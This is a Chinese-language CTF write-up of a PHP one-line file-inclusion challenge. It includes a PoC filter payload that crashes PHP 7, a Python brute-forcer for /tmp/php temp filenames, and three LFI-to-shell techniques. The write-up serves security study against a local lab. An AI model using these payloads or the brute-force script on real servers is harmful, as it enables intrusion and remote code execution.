Real World CTF Of "The Return of One Line PHP Challenge"
前言
被Real World CTF虐哭了,不過能夠跟世界級的大佬同臺競技也感到滿足了。
這次RW線下出了一道名為 The Return of One Line PHP Challenge
的web題,題目描述翻譯如下
原始碼和環境跟HITCON2018中orange大佬出的 ofollow,noindex" target="_blank">One Line PHP Challenge 題目原始碼一模一樣。只不過關閉了當時預期解所用到的 session.upload
。很明顯就是把當時的非預期解拿出來出了一道題。orz!!!
比賽結束當天就已經給了官方wp:利用了php的記憶體漏洞,使php掛掉,上傳大量臨時檔案,然後爆破臨時檔名getshell。在這裡復現一下。
題目
描述:What happens if I turn off session.upload? This challenge is almost identical to HITCON CTF 2018’s challenge One Line PHP Challenge (Tribute to orange). Plz read the docker file and show me your shell.
Dockerfile:
FROM ubuntu:18.04 COPY flag /flag RUN apt-get update RUN apt-get -y install tzdata RUN apt-get -y install php RUN apt-get -y install apache2 RUN apt-get -y install libapache2-mod-php RUN rm /var/www/html/index.html RUN mv /flag `cat /flag` RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/apache2/php.ini RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/cli/php.ini RUN echo 'PD9waHAKICAoJF89QCRfR0VUWydvcmFuZ2UnXSkgJiYgQHN1YnN0cihmaWxlKCRfKVswXSwwLDYpID09PSAnQDw/cGhwJyA/IGluY2x1ZGUoJF8pIDogaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOw==' | base64 -d > /var/www/html/index.php RUN chmod -R 755 /var/www/html CMD service apache2 start & tail -F /var/log/apache2/access.log
原始碼
<?php ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
我們要通過 get 方式傳入一個 orange 引數,作為檔名,然後程式會將我們傳入檔名的那個檔案取出前6個字元和 @<?php
比對,如果相同則包含這個檔案。
回想One Line PHP Challenge
網上已有很多關於這道題的詳解,例如: HITCON2018-One Line PHP Challenge ,這裡我只簡單理一下思路。
HITCON2018中此題的預期思路為:利用session.upload,我們POST一個與INI中設定的session.upload progress.name同名變數且在cookie中帶上PHPSESSID,伺服器就會根據我們這個 PHPSESSID 在session 檔案的預設存放位置生成一個檔名為 sess__
+ PHPSESSID
的session 檔案(無論服務端PHP有沒有開session )。內容格式為php.ini中 session.upload_progress.prefix的值
+ 變數PHP_SESSION_UPLOAD_PROGRESS的值
+ 一些與上傳進度檔案有關的序列化值
例如
然後利用php過濾器,將檔案內容前面的`upload_progress 過濾為空,即可繞過
@<?php`成功getshell。具體可以參考K0rz3n師傅的文章 : 關於One-line-php-challenge的思考
解題過程
php臨時檔案
在給PHP傳送POST資料包時,如果資料包裡包含檔案區塊,無論你訪問的程式碼中有沒有處理檔案上傳的邏輯,PHP都會將這個檔案儲存成一個臨時檔案(通常是/tmp/php[6個隨機字元])。這個臨時檔案,在請求結束後就會被刪除。
雖然可以將資料包的各個位置塞滿垃圾資料,延長臨時檔案被刪除的時間,然後對檔名進行爆破getshell。但是不得不說碰撞成功的概率不是一般的低。
php崩潰漏洞
當我們向PHP傳送含有檔案區塊的資料包時,讓PHP異常崩潰退出,此時我們所POST快取檔案就會被保留。
之前王一航師傅發現過一個可PHP < 7.2異常退出的bug,詳情: https://www.jianshu.com/p/dfd049924258。但是這裡的環境為php7.2。
這道題的官方出題人發現了一個通殺php7全版本的PHP記憶體漏洞,可以使PHP異常退出。詳情可見wp: HackMD – Collaborative markdown notes 。
POC
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
利用這個漏洞我們可以POST大量快取檔案來提高我們爆破檔名的成功率,進而getshell。
我利用題目所給的dockerfile在虛擬機器中啟了一個docker環境。
構造資料包
進入容器檢視,發現快取檔案成功儲存。
利用burp多執行緒POST大量快取檔案。(小技巧: 每次請求可以傳送20個檔案)
利用指令碼爆破檔名,getshell。
這裡貼上王一航師傅的寫的爆破指令碼
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string charset = string.digits + string.letters host = "192.168.1.9" port = 8000 base_url = "http://%s:%d" % (host, port) def brute_force_tmp_files(): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = "%s/index.php?orange=/tmp/php%s" % ( base_url, filename) print url try: response = requests.get(url) if 'flag' in response.content: print "[+] Include success!" return True except Exception as e: print e return False def main(): brute_force_tmp_files() if __name__ == "__main__": main()
爆破檔名成功
getshell
總結
ORZ,僅僅兩行程式碼就可以從中學到這麼多東西,不得不膜。
另外p牛也在小密圈總結了,這個題目在實戰中有很多應用場景。最常見的就是:當一個目標存在任意檔案包含漏洞的時候,你卻找不到可以包含的檔案,無法getshell。可以有三種方法:
1、借用phpinfo,包含臨時檔案來getshell,
2、 利用PHP_SESSION_UPLOAD_PROGRESS,包含session檔案來getshell
3、也就是本文所寫的,利用一個可以使PHP掛掉的漏洞(如記憶體漏洞等),使PHP停止執行,此時上傳的臨時檔案就沒有刪除。我們可以爆破快取檔名來getshell。